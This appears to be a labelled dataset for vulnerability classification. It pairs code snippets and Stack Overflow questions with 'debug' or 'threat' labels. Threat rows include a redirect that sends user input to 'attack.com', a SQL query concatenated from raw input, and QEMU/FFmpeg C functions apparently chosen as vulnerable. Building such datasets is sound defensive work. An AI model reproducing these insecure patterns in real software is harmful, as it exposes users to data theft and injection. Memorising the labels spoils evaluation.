problem
stringlengths
26
131k
labels
class label
2 classes
window.location.href = 'http://attack.com?user=' + user_input;
1threat
Uncaught exception 'PDOException' with message 'invalid data source name' : <p>I know there are many question regarding on stackoverflow but i read them all but my didn't fixed, so i asked new question. I have a file named as article.php and i have the this code init. Just a code which is showing error.</p> <pre><code>public static function getById( $id ) { $conn = new PDO( DB_HOST, DB_USERNAME, DB_PASSWORD ); $sql = "SELECT *, UNIX_TIMESTAMP(publicationDate) AS publicationDate FROM articles WHERE id = :id"; $st = $conn-&gt;prepare( $sql ); $st-&gt;bindValue( ":id", $id, PDO::PARAM_INT ); $st-&gt;execute(); $row = $st-&gt;fetch(); $conn = null; if ( $row ) return new Article( $row ); </code></pre> <p>I am getting this error:</p> <pre><code>Fatal error: Uncaught exception 'PDOException' with message 'invalid data source name' in C:\wamp64\www\classes\Article.php on line 102 ( ! ) PDOException: invalid data source name in C:\wamp64\www\cms\classes\Article.php on line 102 </code></pre> <p>My config file looks like</p> <pre><code>ini_set( "display_errors", true ); define( "DB_HOST", "localhost" ); define( "DB_USERNAME", "username" ); define( "DB_PASSWORD", "" ); define('DB_NAME', 'name'); </code></pre> <p>Can you tell me why this happens and where i am doing mistake. Thanks</p>
0debug
static void piix3_xen_class_init(ObjectClass *klass, void *data) { DeviceClass *dc = DEVICE_CLASS(klass); PCIDeviceClass *k = PCI_DEVICE_CLASS(klass); dc->desc = "ISA bridge"; dc->vmsd = &vmstate_piix3; dc->no_user = 1; k->no_hotplug = 1; k->init = piix3_initfn; k->config_write = piix3_write_config_xen; k->vendor_id = PCI_VENDOR_ID_INTEL; k->device_id = PCI_DEVICE_ID_INTEL_82371SB_0; k->class_id = PCI_CLASS_BRIDGE_ISA; };
1threat
How to fix the WeightSum and Weight in XML? : [Please find Image][1] > Here is my Layout XML: I am writing this Code for my Application <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" tools:context=".FullScreenImageActivity"> <com.github.chrisbanes.photoview.PhotoView android:id="@+id/image11" android:layout_width="match_parent" android:layout_height="match_parent" android:layout_centerHorizontal="true" android:layout_centerVertical="true" android:src="@drawable/navimage" /> <LinearLayout android:layout_width="match_parent" android:layout_height="wrap_content" android:layout_alignParentBottom="true" android:layout_margin="4dp" android:orientation="horizontal" android:weightSum="2"> <com.google.android.material.floatingactionbutton.FloatingActionButton android:id="@+id/download_btn" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_weight="1" android:src="@drawable/download" app:backgroundTint="@android:color/white" /> <com.google.android.material.floatingactionbutton.FloatingActionButton android:id="@+id/download_sbtn" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_weight="1" android:src="@drawable/download" app:backgroundTint="@android:color/white" /> </LinearLayout> </RelativeLayout> [1]: https://i.stack.imgur.com/b1dAw.png > Can Anyone Point me out why it is not working > Any Suggestions will be Helpful
0debug
Why print(a++) has syntax errors in python, but not print(++a) : <p>I am a beginner in python and I am using Python 3.5. The python console complains invalid syntax for the below statement:</p> <pre><code>a = 5 print(a++) </code></pre> <p>But <code>print(++a)</code> works fine. Can anyone help me understand the difference? Btw, it seems that <code>print(a+=1)</code> also doesn't work. Thanks!</p>
0debug
How to set layer-wise learning rate in Tensorflow? : <p>I am wondering if there is a way that I can use different learning rate for different layers like what is in Caffe. I am trying to modify a pre-trained model and use it for other tasks. What I want is to speed up the training for new added layers and keep the trained layers at low learning rate in order to prevent them from being distorted. for example, I have a 5-conv-layer pre-trained model. Now I add a new conv layer and fine tune it. The first 5 layers would have learning rate of 0.00001 and the last one would have 0.001. Any idea how to achieve this?</p>
0debug
Send request over WiFi (without connection) even if Mobile data is ON (with connection) on Android M : <p>I have to send UDP packets to a WiFi module (provided with own AP) with no internet connection but when I connect the mobile with the AP, Android redirects my packets on the mobile data interface because it has got internet connection.</p> <p>I've used the code below to do my job but it seems not working on Android M.</p> <pre><code>@TargetApi(Build.VERSION_CODES.LOLLIPOP) private void setWifiInterfaceAsDefault() { ConnectivityManager connectivityManager = (ConnectivityManager) getSystemService(Context.CONNECTIVITY_SERVICE); NetworkRequest.Builder builder = new NetworkRequest.Builder(); NetworkRequest networkRequest= builder.addCapability(NetworkCapabilities.NET_CAPABILITY_NOT_RESTRICTED) .addTransportType(NetworkCapabilities.TRANSPORT_WIFI) .build(); connectivityManager.requestNetwork(networkRequest, new ConnectivityManager.NetworkCallback()); } </code></pre> <p>I've also added</p> <pre><code>&lt;uses-permission android:name="android.permission.CHANGE_NETWORK_STATE" /&gt; &lt;uses-permission android:name="android.permission.WRITE_SETTINGS" /&gt; </code></pre> <p>on my AndroidManifest.xml and I ensured myself that <code>Settings.System.canWrite(this)</code> returns <code>true</code> but still nothing.</p> <p>Thanks in advance.</p>
0debug
Why "123".split('') is not equal to [1, 2, 3].join('').split('') : <p>This appears as a very basic question, but couldn't find any explanations on SO. </p> <p>Consider this:</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>var arr = [1, 2, 3]; var str = "123"; function compare(){ return arr.join('').split('') === str.split('') } console.log(compare()); console.log(arr.join('').split('')) console.log(str.split(''))</code></pre> </div> </div> </p> <p>Cant understand why console logs <code>false</code>...? </p>
0debug
date() is going crazy : <p>I try to use date() function</p> <p>But when I reload the page the displayed time does not make sense. It goes goes forward and backward.</p> <p>Does anyone know what is wrong ?</p> <pre><code>&lt;?php echo date("H:m:s"); ?&gt; </code></pre>
0debug
Anroid - call a method in a service from its parent : It's sounds simple but I couldn't figure it out.. I there a way to call a method in a service I started from it's parent? (without using broadcast) Thanks.
0debug
How do you unsplit an editor, go back from 2 code views to 1, same with terminal : <p>How do you unsplit an editor, go back from 2 code views to 1, same with terminal.</p>
0debug
static inline int handle_cpu_signal(unsigned long pc, unsigned long address, int is_write, sigset_t *old_set, void *puc) { TranslationBlock *tb; int ret; if (cpu_single_env) env = cpu_single_env; #if defined(DEBUG_SIGNAL) qemu_printf("qemu: SIGSEGV pc=0x%08lx address=%08lx w=%d oldset=0x%08lx\n", pc, address, is_write, *(unsigned long *)old_set); #endif if (is_write && page_unprotect(address, pc, puc)) { return 1; } ret = cpu_x86_handle_mmu_fault(env, address, is_write, ((env->hflags & HF_CPL_MASK) == 3), 0); if (ret < 0) return 0; if (ret == 0) return 1; tb = tb_find_pc(pc); if (tb) { cpu_restore_state(tb, env, pc, puc); } if (ret == 1) { #if 0 printf("PF exception: EIP=0x%08x CR2=0x%08x error=0x%x\n", env->eip, env->cr[2], env->error_code); #endif sigprocmask(SIG_SETMASK, old_set, NULL); raise_exception_err(EXCP0E_PAGE, env->error_code); } else { env->hflags |= HF_SOFTMMU_MASK; cpu_resume_from_signal(env, puc); } return 1; }
1threat
Please help me with multiply statements error? (Python) : Can anyone review these lines of code and explain me what's wrong? why do I get the multiply statements error? listOrigin = [10, -15, 3, 8, 0, 9, -6, 13, -1, 5] listMask = [] for item in listOrigin: if item > 0: listMask.append(1) elif item < 0: listMask.append(-1) else: listMask.append(0) print(listOrigin) print(listMask) SyntaxError: multiple statements found while compiling a single statement
0debug
static void balloon_stats_poll_cb(void *opaque) { VirtIOBalloon *s = opaque; VirtIODevice *vdev = VIRTIO_DEVICE(s); if (!balloon_stats_supported(s)) { balloon_stats_change_timer(s, s->stats_poll_interval); return; } virtqueue_push(s->svq, s->stats_vq_elem, s->stats_vq_offset); virtio_notify(vdev, s->svq); g_free(s->stats_vq_elem); s->stats_vq_elem = NULL; }
1threat
SVG Transformation - Flip Horizontally : <p>I need to flip this SVG horizontally - can't find anything online. Here it is:</p> <pre><code>&lt;svg id="bigHalfCircle" style="display: block;" xmlns="http://www.w3.org/2000/svg" version="1.1" width="100%" height="100" viewBox="0 0 100 100" preserveAspectRatio="none"&gt; &lt;path d="M 0,100 C 40,0 60,0 100,100 Z"/&gt; &lt;/svg&gt; </code></pre> <p>Any help appreciated, cheers!</p>
0debug
How to count sum of items, without sumimng duplicates, for 2 conditions : Related to the attached spreadsheet, (I have already created a dashboard that contains the list of regions) Count the number of unique Items for each region IF Item Category equals N/B/C/H/P Sum of the prices of the unique items for each region IF Item Category equals N/B/C/H/P I have tried a bunch of combos, including Sumproduct but its not working out.[enter image description here][1] [1]: https://i.stack.imgur.com/xz0GY.jpg
0debug
void process_pending_signals(CPUArchState *cpu_env) { CPUState *cpu = ENV_GET_CPU(cpu_env); int sig; TaskState *ts = cpu->opaque; if (!ts->signal_pending) return; for(sig = 1; sig <= TARGET_NSIG; sig++) { if (ts->sigtab[sig - 1].pending) { handle_pending_signal(cpu_env, sig); return; } } ts->signal_pending = 0; return; }
1threat
Function is returning a promise instead of a actual value : <p>I have this function below:</p> <pre><code>function getProfile(username) { return axios.get('https://api.github.com/users/' + username) .then(function(user) { return user.data; }); } </code></pre> <p>When I call it like this:</p> <pre><code>console.log(getProfile('test_user')); </code></pre> <p>I am getting back an <code>Object</code> being printed out instead of <code>user.data</code>. In my <code>getProfile</code> function I said return <code>user.data</code> but it's not returning that.</p>
0debug
static void xen_main_loop_prepare(XenIOState *state) { int evtchn_fd = -1; if (state->xce_handle != XC_HANDLER_INITIAL_VALUE) { evtchn_fd = xc_evtchn_fd(state->xce_handle); } state->buffered_io_timer = timer_new_ms(QEMU_CLOCK_REALTIME, handle_buffered_io, state); if (evtchn_fd != -1) { CPUState *cpu_state; DPRINTF("%s: Init cpu_by_vcpu_id\n", __func__); CPU_FOREACH(cpu_state) { DPRINTF("%s: cpu_by_vcpu_id[%d]=%p\n", __func__, cpu_state->cpu_index, cpu_state); state->cpu_by_vcpu_id[cpu_state->cpu_index] = cpu_state; } qemu_set_fd_handler(evtchn_fd, cpu_handle_ioreq, NULL, state); } }
1threat
void gmc1_altivec(uint8_t *dst , uint8_t *src , int stride, int h, int x16, int y16, int rounder) { POWERPC_TBL_DECLARE(altivec_gmc1_num, GMC1_PERF_COND); #ifdef ALTIVEC_USE_REFERENCE_C_CODE const int A=(16-x16)*(16-y16); const int B=( x16)*(16-y16); const int C=(16-x16)*( y16); const int D=( x16)*( y16); int i; POWERPC_TBL_START_COUNT(altivec_gmc1_num, GMC1_PERF_COND); for(i=0; i<h; i++) { dst[0]= (A*src[0] + B*src[1] + C*src[stride+0] + D*src[stride+1] + rounder)>>8; dst[1]= (A*src[1] + B*src[2] + C*src[stride+1] + D*src[stride+2] + rounder)>>8; dst[2]= (A*src[2] + B*src[3] + C*src[stride+2] + D*src[stride+3] + rounder)>>8; dst[3]= (A*src[3] + B*src[4] + C*src[stride+3] + D*src[stride+4] + rounder)>>8; dst[4]= (A*src[4] + B*src[5] + C*src[stride+4] + D*src[stride+5] + rounder)>>8; dst[5]= (A*src[5] + B*src[6] + C*src[stride+5] + D*src[stride+6] + rounder)>>8; dst[6]= (A*src[6] + B*src[7] + C*src[stride+6] + D*src[stride+7] + rounder)>>8; dst[7]= (A*src[7] + B*src[8] + C*src[stride+7] + D*src[stride+8] + rounder)>>8; dst+= stride; src+= stride; } POWERPC_TBL_STOP_COUNT(altivec_gmc1_num, GMC1_PERF_COND); #else const unsigned short __attribute__ ((aligned(16))) rounder_a[8] = {rounder, rounder, rounder, rounder, rounder, rounder, rounder, rounder}; const unsigned short __attribute__ ((aligned(16))) ABCD[8] = { (16-x16)*(16-y16), ( x16)*(16-y16), (16-x16)*( y16), ( x16)*( y16), 0, 0, 0, 0 }; register const vector unsigned char vczero = (const vector unsigned char)vec_splat_u8(0); register const vector unsigned short vcsr8 = (const vector unsigned short)vec_splat_u16(8); register vector unsigned char dstv, dstv2, src_0, src_1, srcvA, srcvB, srcvC, srcvD; register vector unsigned short Av, Bv, Cv, Dv, rounderV, tempA, tempB, tempC, tempD; int i; unsigned long dst_odd = (unsigned long)dst & 0x0000000F; unsigned long src_really_odd = (unsigned long)src & 0x0000000F; POWERPC_TBL_START_COUNT(altivec_gmc1_num, GMC1_PERF_COND); tempA = vec_ld(0, (unsigned short*)ABCD); Av = vec_splat(tempA, 0); Bv = vec_splat(tempA, 1); Cv = vec_splat(tempA, 2); Dv = vec_splat(tempA, 3); rounderV = vec_ld(0, (unsigned short*)rounder_a); src_0 = vec_ld(0, src); src_1 = vec_ld(16, src); srcvA = vec_perm(src_0, src_1, vec_lvsl(0, src)); if (src_really_odd != 0x0000000F) { srcvB = vec_perm(src_0, src_1, vec_lvsl(1, src)); } else { srcvB = src_1; } srcvA = vec_mergeh(vczero, srcvA); srcvB = vec_mergeh(vczero, srcvB); for(i=0; i<h; i++) { dst_odd = (unsigned long)dst & 0x0000000F; src_really_odd = (((unsigned long)src) + stride) & 0x0000000F; dstv = vec_ld(0, dst); src_0 = vec_ld(stride + 0, src); src_1 = vec_ld(stride + 16, src); srcvC = vec_perm(src_0, src_1, vec_lvsl(stride + 0, src)); if (src_really_odd != 0x0000000F) { srcvD = vec_perm(src_0, src_1, vec_lvsl(stride + 1, src)); } else { srcvD = src_1; } srcvC = vec_mergeh(vczero, srcvC); srcvD = vec_mergeh(vczero, srcvD); tempA = vec_mladd((vector unsigned short)srcvA, Av, rounderV); tempB = vec_mladd((vector unsigned short)srcvB, Bv, tempA); tempC = vec_mladd((vector unsigned short)srcvC, Cv, tempB); tempD = vec_mladd((vector unsigned short)srcvD, Dv, tempC); srcvA = srcvC; srcvB = srcvD; tempD = vec_sr(tempD, vcsr8); dstv2 = vec_pack(tempD, (vector unsigned short)vczero); if (dst_odd) { dstv2 = vec_perm(dstv, dstv2, vcprm(0,1,s0,s1)); } else { dstv2 = vec_perm(dstv, dstv2, vcprm(s0,s1,2,3)); } vec_st(dstv2, 0, dst); dst += stride; src += stride; } POWERPC_TBL_STOP_COUNT(altivec_gmc1_num, GMC1_PERF_COND); #endif }
1threat
PHP or Javascript - Getting values out of a string : <p>I have the following string:</p> <pre><code>[(33, 165) (1423, 254)] </code></pre> <p>How can I bring the 4 numbers into an Array? I tried with regex so far.</p> <p>Result should be an array containing 33,165,1423,254.</p> <p>I can use a PHP and Javascript solution.</p>
0debug
How can I type symbols in string : <p>How can I type “” in string.like he said “felt not well.” But it show error. How can I type “” in string python ? I tried so many method can’t make it.</p>
0debug
C--> Why isn't the compound assignment taken into account when displaying the latter 'tot'? : #include <stdio.h> main(){ int pro; int dot; int tot; char prelude[] = "\nNow we shall do some simple mathematics\n\n"; printf("%s", prelude); pro = 3; dot = 5; tot = pro + dot; printf("%d", tot); dot += 23; printf("\n%d\n", tot); return 0;}
0debug
static int frame_thread_init(AVCodecContext *avctx) { int thread_count = avctx->thread_count; AVCodec *codec = avctx->codec; AVCodecContext *src = avctx; FrameThreadContext *fctx; int i, err = 0; if (thread_count <= 1) { avctx->active_thread_type = 0; return 0; } avctx->thread_opaque = fctx = av_mallocz(sizeof(FrameThreadContext)); fctx->threads = av_mallocz(sizeof(PerThreadContext) * thread_count); pthread_mutex_init(&fctx->buffer_mutex, NULL); fctx->delaying = 1; for (i = 0; i < thread_count; i++) { AVCodecContext *copy = av_malloc(sizeof(AVCodecContext)); PerThreadContext *p = &fctx->threads[i]; pthread_mutex_init(&p->mutex, NULL); pthread_mutex_init(&p->progress_mutex, NULL); pthread_cond_init(&p->input_cond, NULL); pthread_cond_init(&p->progress_cond, NULL); pthread_cond_init(&p->output_cond, NULL); p->parent = fctx; p->avctx = copy; if (!copy) { err = AVERROR(ENOMEM); goto error; } *copy = *src; copy->thread_opaque = p; copy->pkt = &p->avpkt; if (!i) { src = copy; if (codec->init) err = codec->init(copy); update_context_from_thread(avctx, copy, 1); } else { copy->priv_data = av_malloc(codec->priv_data_size); if (!copy->priv_data) { err = AVERROR(ENOMEM); goto error; } memcpy(copy->priv_data, src->priv_data, codec->priv_data_size); copy->internal = av_malloc(sizeof(AVCodecInternal)); if (!copy->internal) { err = AVERROR(ENOMEM); goto error; } *(copy->internal) = *(src->internal); copy->internal->is_copy = 1; if (codec->init_thread_copy) err = codec->init_thread_copy(copy); } if (err) goto error; pthread_create(&p->thread, NULL, frame_worker_thread, p); } return 0; error: frame_thread_free(avctx, i+1); return err; }
1threat
Expected validator to return Promise or Observable : <p>Im trying to do a custom validation on Angular 5 but I'm facing the following error</p> <pre><code>Expected validator to return Promise or Observable </code></pre> <p>I just want to return an error to the form if the value doesnt match the required, heres my code:</p> <p>This is the component where is my form</p> <pre><code> constructor(fb: FormBuilder, private cadastroService:CadastroService) { this.signUp = fb.group({ "name": ["", Validators.compose([Validators.required, Validators.minLength(2)])], "email": ["", Validators.compose([Validators.required, Validators.email])], "phone": ["", Validators.compose([Validators.required, Validators.minLength(5)])], "cpf": ["", Validators.required, ValidateCpf] }) } </code></pre> <p>This code is in the file with the validation I want to implement:</p> <pre><code>import { AbstractControl } from '@angular/forms'; export function ValidateCpf(control: AbstractControl){ if (control.value == 13445) { return {errorCpf: true} } return null; } </code></pre> <p>Can someone help me? Does that type of validation only work with observables or can I do i without being a promise or observable? thanks</p>
0debug
static void simple_varargs(void) { QObject *embedded_obj; QObject *obj; LiteralQObject decoded = QLIT_QLIST(((LiteralQObject[]){ QLIT_QINT(1), QLIT_QINT(2), QLIT_QLIST(((LiteralQObject[]){ QLIT_QINT(32), QLIT_QINT(42), {}})), {}})); embedded_obj = qobject_from_json("[32, 42]"); g_assert(embedded_obj != NULL); obj = qobject_from_jsonf("[%d, 2, %p]", 1, embedded_obj); g_assert(obj != NULL); g_assert(compare_litqobj_to_qobj(&decoded, obj) == 1); qobject_decref(obj); }
1threat
Visitor *qmp_output_visitor_new(QObject **result) { QmpOutputVisitor *v; v = g_malloc0(sizeof(*v)); v->visitor.type = VISITOR_OUTPUT; v->visitor.start_struct = qmp_output_start_struct; v->visitor.end_struct = qmp_output_end_struct; v->visitor.start_list = qmp_output_start_list; v->visitor.next_list = qmp_output_next_list; v->visitor.end_list = qmp_output_end_list; v->visitor.type_int64 = qmp_output_type_int64; v->visitor.type_uint64 = qmp_output_type_uint64; v->visitor.type_bool = qmp_output_type_bool; v->visitor.type_str = qmp_output_type_str; v->visitor.type_number = qmp_output_type_number; v->visitor.type_any = qmp_output_type_any; v->visitor.type_null = qmp_output_type_null; v->visitor.complete = qmp_output_complete; v->visitor.free = qmp_output_free; *result = NULL; v->result = result; return &v->visitor; }
1threat
connection.query('SELECT * FROM users WHERE username = ' + input_string)
1threat
static coroutine_fn void test_multi_co_schedule_entry(void *opaque) { g_assert(to_schedule[id] == NULL); atomic_mb_set(&to_schedule[id], qemu_coroutine_self()); while (!atomic_mb_read(&now_stopping)) { int n; n = g_test_rand_int_range(0, NUM_CONTEXTS); schedule_next(n); qemu_coroutine_yield(); g_assert(to_schedule[id] == NULL); atomic_mb_set(&to_schedule[id], qemu_coroutine_self()); } }
1threat
Shell how can i grep a particular word in a sentence : i want to grep some part of the sentence for example: /hana/new/register in this i need to grep just hana How can i do that in shell. I am new to shell Thanks and regards, samarth
0debug
static int usb_host_scan(void *opaque, USBScanFunc *func) { FILE *f = 0; DIR *dir = 0; int ret = 0; const char *devices = "/devices"; const char *opened = "husb: opened %s%s\n"; const char *fs_type[] = {"unknown", "proc", "dev", "sys"}; char devpath[PATH_MAX]; if (!usb_fs_type) { f = fopen(USBPROCBUS_PATH "/devices", "r"); if (f) { strcpy(devpath, USBPROCBUS_PATH); usb_fs_type = USB_FS_PROC; fclose(f); dprintf(opened, USBPROCBUS_PATH, devices); } f = fopen(USBDEVBUS_PATH "/devices", "r"); if (!usb_fs_type && f) { strcpy(devpath, USBDEVBUS_PATH); usb_fs_type = USB_FS_DEV; fclose(f); dprintf(opened, USBDEVBUS_PATH, devices); } dir = opendir(USBSYSBUS_PATH "/devices"); if (!usb_fs_type && dir) { strcpy(devpath, USBDEVBUS_PATH); usb_fs_type = USB_FS_SYS; closedir(dir); dprintf(opened, USBSYSBUS_PATH, devices); } if (!usb_fs_type) { term_printf("husb: unable to access USB devices\n"); goto the_end; } usb_host_device_path = qemu_mallocz(strlen(devpath)+1); if (usb_host_device_path) { strcpy(usb_host_device_path, devpath); term_printf("husb: using %s file-system with %s\n", fs_type[usb_fs_type], usb_host_device_path); } else { perror("husb: unable to allocate memory for device path"); goto the_end; } } switch (usb_fs_type) { case USB_FS_PROC: case USB_FS_DEV: ret = usb_host_scan_dev(opaque, func); break; case USB_FS_SYS: ret = usb_host_scan_sys(opaque, func); break; } the_end: return ret; }
1threat
bool bdrv_requests_pending(BlockDriverState *bs) { BdrvChild *child; BlockBackendPublic *blkp = bs->blk ? blk_get_public(bs->blk) : NULL; if (!QLIST_EMPTY(&bs->tracked_requests)) { return true; } if (blkp && !qemu_co_queue_empty(&blkp->throttled_reqs[0])) { return true; } if (blkp && !qemu_co_queue_empty(&blkp->throttled_reqs[1])) { return true; } QLIST_FOREACH(child, &bs->children, next) { if (bdrv_requests_pending(child->bs)) { return true; } } return false; }
1threat
static int decode_svq1_block (bit_buffer_t *bitbuf, uint8_t *pixels, int pitch, int intra) { uint32_t bit_cache; vlc_code_t *vlc; uint8_t *list[63]; uint32_t *dst; uint32_t *codebook; int entries[6]; int i, j, m, n; int mean, stages; int x, y, width, height, level; uint32_t n1, n2, n3, n4; list[0] = pixels; for (i=0, m=1, n=1, level=5; i < n; i++) { for (; level > 0; i++) { if (i == m) { m = n; if (--level == 0) break; } if (get_bits (bitbuf, 1) == 0) break; list[n++] = list[i]; list[n++] = list[i] + (((level & 1) ? pitch : 1) << ((level / 2) + 1)); } dst = (uint32_t *) list[i]; width = 1 << ((4 + level) /2); height = 1 << ((3 + level) /2); bit_cache = get_bit_cache (bitbuf); if (intra) vlc = &intra_vector_tables[level][bit_cache >> (32 - 7)]; else vlc = &inter_vector_tables[level][bit_cache >> (32 - 6)]; stages = vlc->value; skip_bits(bitbuf,vlc->length); if (stages == -1) { if (intra) { for (y=0; y < height; y++) { memset (&dst[y*(pitch / 4)], 0, width); } } continue; } if ((stages > 0) && (level >= 4)) { #ifdef DEBUG_SVQ1 printf("Error (decode_svq1_block): invalid vector: stages=%i level=%i\n",stages,level); #endif return -1; } bit_cache = get_bit_cache (bitbuf); if (intra) { if (bit_cache >= 0x25000000) vlc = &intra_mean_table_0[(bit_cache >> (32 - 8)) - 37]; else if (bit_cache >= 0x03400000) vlc = &intra_mean_table_1[(bit_cache >> (32 - 10)) - 13]; else if (bit_cache >= 0x00040000) vlc = &intra_mean_table_2[(bit_cache >> (32 - 14)) - 1]; else vlc = &intra_mean_table_3[bit_cache >> (32 - 20)]; } else { if (bit_cache >= 0x0B000000) vlc = &inter_mean_table_0[(bit_cache >> (32 - 8)) - 11]; else if (bit_cache >= 0x01200000) vlc = &inter_mean_table_1[(bit_cache >> (32 - 12)) - 18]; else if (bit_cache >= 0x002E0000) vlc = &inter_mean_table_2[(bit_cache >> (32 - 15)) - 23]; else if (bit_cache >= 0x00094000) vlc = &inter_mean_table_3[(bit_cache >> (32 - 18)) - 37]; else if (bit_cache >= 0x00049000) vlc = &inter_mean_table_4[(bit_cache >> (32 - 20)) - 73]; else vlc = &inter_mean_table_5[bit_cache >> (32 - 22)]; } mean = vlc->value; skip_bits(bitbuf,vlc->length); if (intra && stages == 0) { for (y=0; y < height; y++) { memset (&dst[y*(pitch / 4)], mean, width); } } else { codebook = (uint32_t *) (intra ? intra_codebooks[level] : inter_codebooks[level]); bit_cache = get_bits (bitbuf, 4*stages); for (j=0; j < stages; j++) { entries[j] = (((bit_cache >> (4*(stages - j - 1))) & 0xF) + 16*j) << (level + 1); } mean -= (stages * 128); n4 = ((mean + (mean >> 31)) << 16) | (mean & 0xFFFF); for (y=0; y < height; y++) { for (x=0; x < (width / 4); x++, codebook++) { if (intra) { n1 = n4; n2 = n4; } else { n3 = dst[x]; n1 = ((n3 & 0xFF00FF00) >> 8) + n4; n2 = (n3 & 0x00FF00FF) + n4; } for (j=0; j < stages; j++) { n3 = codebook[entries[j]] ^ 0x80808080; n1 += ((n3 & 0xFF00FF00) >> 8); n2 += (n3 & 0x00FF00FF); } if (n1 & 0xFF00FF00) { n3 = ((( n1 >> 15) & 0x00010001) | 0x01000100) - 0x00010001; n1 += 0x7F007F00; n1 |= (((~n1 >> 15) & 0x00010001) | 0x01000100) - 0x00010001; n1 &= (n3 & 0x00FF00FF); } if (n2 & 0xFF00FF00) { n3 = ((( n2 >> 15) & 0x00010001) | 0x01000100) - 0x00010001; n2 += 0x7F007F00; n2 |= (((~n2 >> 15) & 0x00010001) | 0x01000100) - 0x00010001; n2 &= (n3 & 0x00FF00FF); } dst[x] = (n1 << 8) | n2; } dst += (pitch / 4); } } } return 0; }
1threat
Python JSON dummy data generation from JSON schema : <p>I am looking for a python library in which I can feed in my JSON schema and it generates dummy data. I have worked with a similar library in javascript dummy-json. Does anyone about a library which can do the same in python.</p>
0debug
Date conversion going wrong in as.yearmon in R : I have a column as A_Date which has date values with the class as "POSIXct" "POSIXt". Now i have tried to convert these date values into mmm-yy format as date values. So, I have used as.yearmon() function. After converting i have checked the details. I came to know that for the date values of 01-01-2016 from 12:00 AM to 05:28 AM i am seeing the values as Dec-15 which is wrong. Kindly, help me to figure out the issue. Any help is appreciated. Regards, Mohan
0debug
How can i play Vimeo 360 video from url to my app? : I am searching out the sdk for playing vimeo 360 video in my application, but i am not able to find out any way to play the video, even safari is also not supporting the 360 player, is there any framework exist to play vimeo 360 video in my application in Objective-C or swift?
0debug
what is the best way to connect remote mysql database through java/jdbc? : <p>I have two systems A and B. On system "A" I have mysql database running. On another system "B" i have swing application running which connects to to the remote database on system "A". I have both the systems on same LAN. How should i connect to that database?</p> <p>Should I give IP address of system A in database url. eg.</p> <pre><code>Connection con=DriverManager.getConnection("jdbc:mysql://192.168.20.10:3306/mydb?zeroDateTimeBehavior=convertToNull","root","root"); </code></pre> <p>Will this work properly?<br><br> Or<br><br> do i have to use RMI?</p>
0debug
Save Images to specific Folder in Phone Android : <p>i want to capture an image and save it into specific folder rather than in DCIM/Camera or Gallery... </p> <p>want to save like: storage/sdcard0/DCIM/MyFolder.</p>
0debug
How to identify complex words in a .txt document : I need to identify complex words from a .txt file. I am trying to use nltk but no such module exist.
0debug
python 3 simple calculator , need assistance understanding subject and completing task, new to python and coding in general : <p>I need help programming a simple python 3 calculator, I am completely new to coding and python so my knowledge on this is low and i'm having a tough time just getting started. </p> <p>heres the problem: Your assignment is to create an extremely simple calculator in Python. So simple, it can only add positive whole numbers.</p> <p>Take a look at the hello.py example posted this week. It shows examples of reading data using the input() method. It shows how to write functions (using 'def'), as well as passing parameters and returning a value. It also shows how to interpolate variables into a string using the printf-style string formatting.</p> <p>First create, a simple function called "add". It should take in two values and return the sum of the values.</p> <p>Next create an interactive script which uses the "add" function. The output, when done, should look like this:</p> <p>What is the first number? 3 What is the second number? 5 Your sum is 8.</p> <p>In the example above, the bold items are typed by the user. Note that, to pass the online test, you must format your text exactly the same as above.</p> <p>When done (and tested locally), test and submit online at CSGrading.com Assignment 2. </p> <p>HELLO.PY CODE</p> <pre><code>def get_firstname(): print("First Name: ") firstname = input() return firstname def get_lastname(): print("Last Name: ") lastname = input() return lastname def say_hello(f,l): print("Hello %s %s" % (f,l)) say_hello(get_firstname(),get_lastname()) </code></pre> <p>I really wanna learn this but ultimately i'm stuck.</p>
0debug
Image processing in Android/Java : <p>I was working on a project name symptom based disease diagnosis in android. As android is java based, so I am implementing the the color matching algorithm directly in java first using image processing libraries like OpenCV etc. I was wondering if I completed the matching process and after that when I embed it into my android code, what if it didn't embed? That's why I am posting this question if I am going right with FIRST developing method in java then embed it into android or should I continue it directly with android??</p>
0debug
static void assigned_dev_ioport_write(void *opaque, target_phys_addr_t addr, uint64_t data, unsigned size) { assigned_dev_ioport_rw(opaque, addr, size, &data); }
1threat
Xcode 8 "The application does not have a valid signature" : <p>Xcode 8 throws the following error despite provisioning seems to be fine:</p> <p><a href="https://i.stack.imgur.com/LqaRx.png"><img src="https://i.stack.imgur.com/LqaRx.png" alt="App installation failed. The application does not have a valid signature"></a></p> <p>How to fix it?</p>
0debug
PHP code devided by html code doesn't work : <p>I'm not sure if this is an issue with WAMP but I have been having issues with php variables not being saved. Here is an example:</p> <p><strong>Works:</strong></p> <pre><code>&lt;?php $x = "Hellow Wolrd!"; echo $x; ?&gt; </code></pre> <blockquote> <p>Hellow Wolrd!</p> </blockquote> <p><strong>Doesn't Work:</strong></p> <pre><code>&lt;?php $x = "Hellow Wolrd!"; ?&gt; &lt;html&gt; &lt;body&gt; &lt;?php echo $x;?&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <blockquote> <p></p> </blockquote>
0debug
How to set underlined navigation bar title using swift 4 : <p>I want to set a underlined navigation bar title using swift 4. Is it possible by using attributed string?</p>
0debug
How to sort objects list based on integer variable in Java : <p>I have a list of the following bean. I need to sort this list based on the version number of the object. I am new to Comparator interface and need some help here.</p> <p>My POJO looks like this - </p> <pre><code>class File{ private int version; private String fileName; public getVersion(); public setVersion(); public setFileName(); public getFileName(); } </code></pre> <p>The class where I am getting the list - </p> <pre><code>class Example{ public static void main(){ List&lt;Files&gt; files = new ArrayList&lt;Files&gt;(); files = getInfoFromDB(); // How to sort the files based on version variable here. I am new to use Comparator. Collections.sort(files); } } </code></pre>
0debug
